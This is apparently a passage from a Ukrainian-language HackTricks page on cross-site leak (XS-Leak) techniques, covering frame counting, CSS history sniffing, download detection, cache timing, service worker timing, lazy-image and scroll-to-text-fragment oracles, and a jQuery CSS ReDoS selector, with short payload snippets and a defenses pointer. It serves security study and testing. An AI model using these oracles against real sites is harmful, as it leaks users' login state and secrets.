win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Підрахунок кількості фреймів у веб відкритих через iframe або window.open може допомогти визначити статус користувача на цій сторінці.
Більше того, якщо на сторінці завжди однакова кількість фреймів, постійна перевірка кількості фреймів може допомогти виявити шаблон, який може витікати інформацію.

Прикладом цієї техніки є те, що в Chrome PDF може бути виявлений за допомогою підрахунку фреймів, оскільки всередині використовується embed. Існують Open URL Parameters, які дозволяють певний контроль над вмістом, таким як zoom, view, page, toolbar, де ця техніка може бути цікавою.

HTMLElements

Витік інформації через HTML елементи є проблемою в веб-безпеці, особливо коли динамічні медіа-файли генеруються на основі інформації користувача або коли додаються водяні знаки, що змінює розмір медіа. Це може бути використано зловмисниками для розрізнення між можливими станами, аналізуючи інформацію, що розкривається певними HTML елементами.

Information Exposed by HTML Elements

  • HTMLMediaElement: Цей елемент розкриває duration та buffered часи медіа, які можна отримати через його API. Read more about HTMLMediaElement
  • HTMLVideoElement: Він розкриває videoHeight та videoWidth. У деяких браузерах доступні додаткові властивості, такі як webkitVideoDecodedByteCount, webkitAudioDecodedByteCount та webkitDecodedFrameCount, що надають більш детальну інформацію про вміст медіа. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Ця функція надає деталі про якість відтворення відео, включаючи totalVideoFrames, що може вказувати на кількість оброблених відеоданих. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Цей елемент витікає height та width зображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, а функція image.decode() буде відхилена, що вказує на невдачу завантаження зображення. Read more about HTMLImageElement

CSS Property

Веб-додатки можуть змінювати стиль веб-сайту в залежності від статусу користувача. CSS файли з крос-доменом можуть бути вбудовані на сторінці зловмисника за допомогою HTML link element, і правила будуть застосовані до сторінки зловмисника. Якщо сторінка динамічно змінює ці правила, зловмисник може виявити ці різниці в залежності від стану користувача.
Як техніка витоку, зловмисник може використовувати метод window.getComputedStyle, щоб читати CSS властивості конкретного HTML елемента. В результаті зловмисник може читати довільні CSS властивості, якщо відомі назва елемента та властивості.

CSS History

note

Згідно з цим, це не працює в headless Chrome.

CSS селектор :visited використовується для стилізації URL по-різному, якщо вони були раніше відвідані користувачем. У минулому метод getComputedStyle() міг бути використаний для виявлення цих стильових відмінностей. Однак сучасні браузери впровадили заходи безпеки, щоб запобігти цьому методу від розкриття стану посилання. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідане, і обмеження стилів, які можуть бути застосовані за допомогою селектора :visited.

Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, що підлягає впливу CSS, зокрема використовуючи властивість mix-blend-mode. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача.

Крім того, виявлення може бути досягнуто без взаємодії користувача шляхом використання часу рендерингу посилань. Оскільки браузери можуть рендерити відвідані та не відвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) був згаданий у звіті про помилку Chromium, що демонструє цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу.

Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації:

ContentDocument X-Frame Leak

У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість null) для властивості contentDocument цього об'єкта, на відміну від iframe або інших браузерів. Зловмисники можуть використовувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто ігноруючи сторінки помилок. Обізнаність та послідовне застосування заголовків безпеки є критично важливими для запобігання таким витокам.

Download Detection

Заголовок Content-Disposition, зокрема Content-Disposition: attachment, вказує браузеру завантажити вміст, а не відображати його в рядку. Цю поведінку можна використовувати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на основі Chromium існує кілька технік для виявлення цієї поведінки завантаження:

  1. Моніторинг панелі завантаження:
  • Коли файл завантажується в браузерах на основі Chromium, панель завантаження з'являється внизу вікна браузера.
  • Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційоване.
  1. Навігація завантаження з iframe:
  • Коли сторінка викликає завантаження файлу за допомогою заголовка Content-Disposition: attachment, це не викликає подію навігації.
  • Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи призводить вміст до завантаження файлу (без навігації) чи ні.
  1. Навігація завантаження без iframe:
  • Подібно до техніки iframe, цей метод передбачає використання window.open замість iframe.
  • Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційоване завантаження файлу (без навігації) або чи вміст відображається в рядку (відбувається навігація).

У сценаріях, де лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження.

Partitioned HTTP Cache Bypass

warning

Ось чому ця техніка цікава: Chrome тепер має розділення кешу, і ключ кешу нововідкритої сторінки: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ключ кешу різний, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: Gaining security and privacy by partitioning the cache
(Коментар з тут)

Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той же ключ кешу, як якби ресурс був безпосередньо запитаний через навігацію верхнього рівня. Це тому, що ключ кешу складається з верхнього рівня eTLD+1 та фрейму eTLD+1.

Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження було змінено після зупинки, це означає, що ресурс був кешований.
Або просто надіслати деякі запити до потенційно кешованої сторінки та виміряти час, який це займає.

Manual Redirect

Fetch with AbortController

Використовуйте fetch та setTimeout з AbortController, щоб виявити, чи ресурс кешується та видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту.

Script Pollution

Service Workers

У даному сценарії зловмисник ініціює реєстрацію сервісного працівника в одному з їх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та інструктує сервісного працівника розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому кроці, на сторінку, керовану сервісним працівником.

При надходженні запиту, ініційованого на попередньому кроці, сервісний працівник відповідає статус-кодом 204 (No Content), ефективно завершуючи процес навігації. У цей момент сервісний працівник фіксує вимірювання з таймера, ініційованого раніше на другому кроці. Це вимірювання впливає на тривалість JavaScript, що викликає затримки в процесі навігації.

warning

У вимірюванні часу виконання можливо усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, що використовуються сторінкою, перед її завантаженням.

Fetch Timing

Cross-Window Timing

With HTML or Re Injection

Тут ви можете знайти техніки для ексфільтрації інформації з крос-доменного HTML впроваджуючи HTML вміст. Ці техніки цікаві в випадках, коли з будь-якої причини ви можете впроваджувати HTML, але не можете впроваджувати JS код.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Якщо вам потрібно експортувати вміст і ви можете додати HTML перед секретом, вам слід перевірити загальні техніки висячого розмітки.
Однак, якщо з якоїсь причини ви МУСТЕ зробити це символ за символом (можливо, комунікація відбувається через кеш), ви можете використовувати цей трюк.

Зображення в HTML має атрибут "loading", значення якого може бути "lazy". У цьому випадку зображення буде завантажено, коли його переглядають, а не під час завантаження сторінки:

html
<img src=/something loading=lazy >

Отже, що ви можете зробити, це додати багато сміттєвих символів (наприклад, тисячі "W") для заповнення веб-сторінки перед секретом або додати щось на кшталт <br><canvas height="1850px"></canvas><br>.
Тоді, якщо, наприклад, наша ін'єкція з'явиться перед прапором, зображення буде завантажено, але якщо з'явиться після прапора, прапор + сміття перешкодять його завантаженню (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в цьому звіті.

Інший варіант - використовувати scroll-to-text-fragment, якщо це дозволено:

Scroll-to-text-fragment

Однак ви змушуєте бота отримати доступ до сторінки з чимось на кшталт

#:~:text=SECR

Отже, веб-сторінка буде виглядати приблизно так: https://victim.com/post.html#:~:text=SECR

Де post.html містить сміттєві символи атакуючого та зображення з лінійною завантаженням, а потім додається секрет бота.

Цей текст змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст SECR. Оскільки цей текст є секретом і він знаходиться безпосередньо під зображенням, зображення завантажиться лише якщо вгаданий секрет правильний. Отже, у вас є ваш оракул для екстракції секрету по символах.

Приклад коду для експлуатації цього: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Час завантаження зображення на основі лінійного завантаження

Якщо неможливо завантажити зовнішнє зображення, що могло б вказати атакуючому, що зображення було завантажено, іншим варіантом буде спробувати вгадати символ кілька разів і виміряти це. Якщо зображення завантажено, всі запити займатимуть більше часу, ніж якщо зображення не завантажено. Це було використано в рішенні цього опису узагальнено тут:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Якщо використовується jQuery(location.hash), можна дізнатися через таймінг, чи існує деякий HTML контент, це пов'язано з тим, що якщо селектор main[id='site-main'] не відповідає, не потрібно перевіряти решту селекторів:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Defenses

Є рекомендації щодо пом'якшення в https://xsinator.com/paper.pdf, а також у кожному розділі вікі https://xsleaks.dev/. Ознайомтеся з цим для отримання додаткової інформації про те, як захиститися від цих технік.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks